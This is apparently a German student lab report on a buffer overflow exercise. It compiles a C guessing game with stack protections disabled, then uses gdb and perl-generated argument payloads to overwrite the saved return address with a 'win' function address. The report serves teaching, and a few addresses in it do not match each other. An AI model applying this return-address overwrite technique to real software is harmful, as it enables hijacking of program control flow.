\section{Part 1: Buffer Overflow} \subsection{Kompilieren} Zum kompilieren des C-Programmes wird GCC verwendet. Folgender Befehl wird ausgeführt: \begin{lstlisting}[breaklines] gcc -g --no-pie -z execstack -fno-stack-protector -D_FORTIFY_SOURCE=0 bufferOverflow.c -o bufferOverflow \end{lstlisting} Danach kann das Programm mit \verb|./bufferOverlow| gestartet werden. \subsection{Hints} Es wurden verschlüsselte Tipps beigesteuert. Zum verschlüsseln wurde folgender Befehl ausgeführt: \begin{lstlisting}[breaklines] echo "This is your first hint" | openssl des -nosalt -e -k 12345678 -a \end{lstlisting} Zum entschlüsseln muss lediglich der verschlüsselte String mit dem angegebenen secret an openssl übergeben werden. \begin{lstlisting}[breaklines] echo "ilEbsYAeS8Prp7xXI5MPqSEyOOKoyXbCotRFSskidgs=" | openssl des -nosalt -d -k 12345678 -a \end{lstlisting} Leider konnten die angegebenen Tipps nicht entschlüsselt werden. Das obige Beispiel funktioniert ohne Probleme, kann aber nicht auf die in der PDF angegebenen Tipps angewandt werden. Fehlermeldung: \begin{verbatim} bad decrypt \end{verbatim} \subsection{Analyse} Das Programm \verb|bufferOverflow.c| beginnt mit der Eingabe des Namens mit Hilfe der Funktion \verb|fgets|\footnote{\href{https://www.tutorialspoint.com/c_standard_library/c_function_fgets.htm}{tutorialspoint - fgets}}. Dabei wird die Länge des eingegebenen Benutzernamens in einem char Array der Länge 16 gespeichert. Ein Buffer Overflow wird hier abgefangen, da nur so viele Zeichen eingegeben werden können, wie \verb|sizeof(username)| zurück gibt. Dann werden nacheinander die geratenen Zahlen eingelesen. Man muss alle 3 Zahlen richtig raten, damit man das Spiel gewinnt. Es werden mit \verb|rand()| zufällige Zahlen generiert. Die anschließende Funktion \verb|calculate(argv[1], input1, input2, input3, number1, number2, number3)| gibt eine 0 zurück wenn man gewonnen hat. Aber in der Funktion wird ein Buffer Overflow stattfinden, da \verb|argv[1]| mit \verb|strcpy()| ohne Begrenzung in ein limitiertes 16 Byte großes char array kopiert wird. Dabei werden im Stack Werte überschrieben. Da können wir angreifen. \subsection{Versuchen zu gewinnen} Hinweis: \verb|"A" ASCII| wird als \verb|0x41| geschrieben. Das kompilierte Programm mit \verb|gdb bufferOverflow| starten. Einen Breakpoint in der Calculate-Funktion bei Zeile 24 mit \verb|b 24| setzen. Dann mit \verb|r $(perl -e 'print "A"*20;')| 20x das ASCII Zeichen ``A'' als Argument mitgeben. Getätigte Eingaben im Programm: \verb|Username: Florian, Input1: 1, Input2: 1, Input3: 1| \begin{figure}[H] \begin{center} \begin{subfigure}[b]{0.48\textwidth} \includegraphics[width=\textwidth]{bufferOverflow/01-input} \caption{Erste Eingabe} \label{fig:Erste Eingabe} \end{subfigure} \begin{subfigure}[b]{0.48\textwidth} \includegraphics[width=\textwidth]{bufferOverflow/02-breakpoint} \caption{Breakpoint} \label{fig:Breakpoint} \end{subfigure} \end{center} \caption{Erste Eingaben und Breakpoint} \label{fig:Erste Eingaben und Breakpoint} \end{figure} Die analyse des Stackpointers sieht folgendermaßen aus: \begin{figure}[H] \begin{center} \includegraphics[width=0.8\textwidth]{bufferOverflow/03-stackpointer} \caption{Erster Stackpointer} \label{fig:Erster Stackpointer} \end{center} \end{figure} Wie zu sehen ist, wurden die wichtigen Pointer noch nicht erreicht. Es ist aber zu erkennen, dass die geratenen 20xA direkt davor ankommen. Somit könnte man mit 28xA und der Adresse der Win-Funktion, den Ablauf der Funktion ändern. Speicheraddresse der Win-Funktion mit \verb"objdump -d ./bufferOverflow | grep win" herausfinden. Grep gibt 2 Zeilen aus. Einmal die Funktion selber und die Position in \verb|main()| in der Sie aufgerufen wird. \begin{verbatim} 080485a4 8048807: call 80485a4 \end{verbatim} Es wird in der \verb|gdb bufferOverflow| Kommandozeile folgender Befehl ausführt: \verb|r $(perl -e 'print "A"*28+"\x07\x88\x04\x08";')| Damit werden 28x'A' und die Adresse der Win-Funktion als argument der Software mitgegeben. \begin{figure}[H] \begin{center} \begin{subfigure}[b]{0.48\textwidth} \includegraphics[width=\textwidth]{bufferOverflow/04-newrun} \caption{Zweite Eingabe} \label{fig:Zweite Eingabe} \end{subfigure} \begin{subfigure}[b]{0.48\textwidth} \includegraphics[width=\textwidth]{bufferOverflow/05-stackpointer} \caption{Zweiter Stackpointer} \label{fig:Zweiter Stackpointer} \end{subfigure} \end{center} \caption{Zweite Eingaben und Stackpointer} \label{fig:Zweite Eingaben und Stackpointer} \end{figure} Die erneute Ausgabe der wichtigen Adressen zeigt uns nun, dass der EIP mit \verb|\x41\x41\x41\x41| überschrieben wurde (Abbildung \ref{fig:Zweiter Stackpointer}) und deshalt korrekt gesetzt werden sollte. Das weitere Ausführen, endet nach einer erfolgreichen Runde in einem segmentation fault (Abbildung \ref{fig:Segmentation Fault}). \begin{figure}[H] \begin{center} \includegraphics[width=0.8\textwidth]{bufferOverflow/06-segmentation} \caption{Segmentation Fault} \label{fig:Segmentation Fault} \end{center} \end{figure} Dazu kann einfach die normal gesetzte Speicheradresse genutzt werden. Es sollte die vorher gesetzte Adresse wieder genutzt werden. Diese lautete wie in Abbildung \ref{fig:Erster Stackpointer} zu sehen \verb|0xbffff2f8| welches in \verb|\xe8\xf2\xff\xbf| umgewandelt wird. \newpage Damit wird das Programm noch einmal gestartet: \verb|r $(perl -e 'print "A"*24+"\xe8\xf2\xff\xbf\x07\x88\x04\x08";')| Und es wird 5 mal in Folge gewonnen: \begin{figure}[H] \begin{center} \begin{subfigure}[b]{0.48\textwidth} \includegraphics[width=\textwidth]{bufferOverflow/07-win-1} \caption{Gewinn-1} \label{fig:Gewinn-1} \end{subfigure} \begin{subfigure}[b]{0.48\textwidth} \includegraphics[width=\textwidth]{bufferOverflow/08-win-2} \caption{Gewinn-2} \label{fig:Gewinn-2} \end{subfigure} \end{center} \caption{Gewinn} \label{fig:Gewinn} \end{figure} \subsection{Stack} \textcolor{codegray}{Startaddresse} \textcolor{codegreen}{Eingefügte ``A''} \textcolor{codepurple}{Alte EBP Adresse} \textcolor{weborange}{Win-Funktion} \begin{center} \begin{tabular}{|l|l||r|} \hline \multicolumn{2}{|c||}{\textbf{Beschreibung}} & \multicolumn{1}{c|}{\textbf{Inhalt}} \\ \hline Memory Addresse & Name & at Zeile 24 \\ \hline \verb|0xbffff2ec| & old EIP & \\ \color{codepurple}\verb|0xbffff2e8| & old EBP & \\ \hline \multicolumn{3}{|c|}{...} \\ \hline \verb|0xbffff3d8| & number3 & \verb|0x00000003| \\ \verb|0xbffff3d4| & number2 & \verb|0x00000003| \\ \verb|0xbffff2d0| & number1 & \verb|0x00000001| \\ \verb|0xbffff2ac| & Input3 & \verb|0x00000001| \\ \verb|0xbffff2a8| & input2 & \verb|0x00000001| \\ \verb|0xbffff2a4| & input1 & \verb|0x00000001| \\ \hline \multicolumn{3}{|c|}{...} \\ \hline \verb|0xbffff29c| & EIP & \color{weborange}\verb|0x08048807| \\ \verb|0xbffff298| & EBP & \color{codepurple}\verb|0xbffff2e8| \\ \verb|0xbffff294| & & \color{codegreen}\verb|0x41414141| \\ \verb|0xbffff290| & & \color{codegreen}\verb|0x41414141| \\ \verb|0xbffff28c| & name & \color{codegreen}\verb|0x41414141| \\ \verb|0xbffff288| & name & \color{codegreen}\verb|0x41414141| \\ \verb|0xbffff284| & name & \color{codegreen}\verb|0x41414141| \\ \color{codegray}\verb|0xbffff280| & name & \color{codegreen}\verb|0x41414141| \\ \hline \multicolumn{3}{|c|}{...} \\ \hline \verb|0xbffff270| & ESP & \color{codegray}\verb|0xbffff280| \\ \hline \end{tabular} \end{center}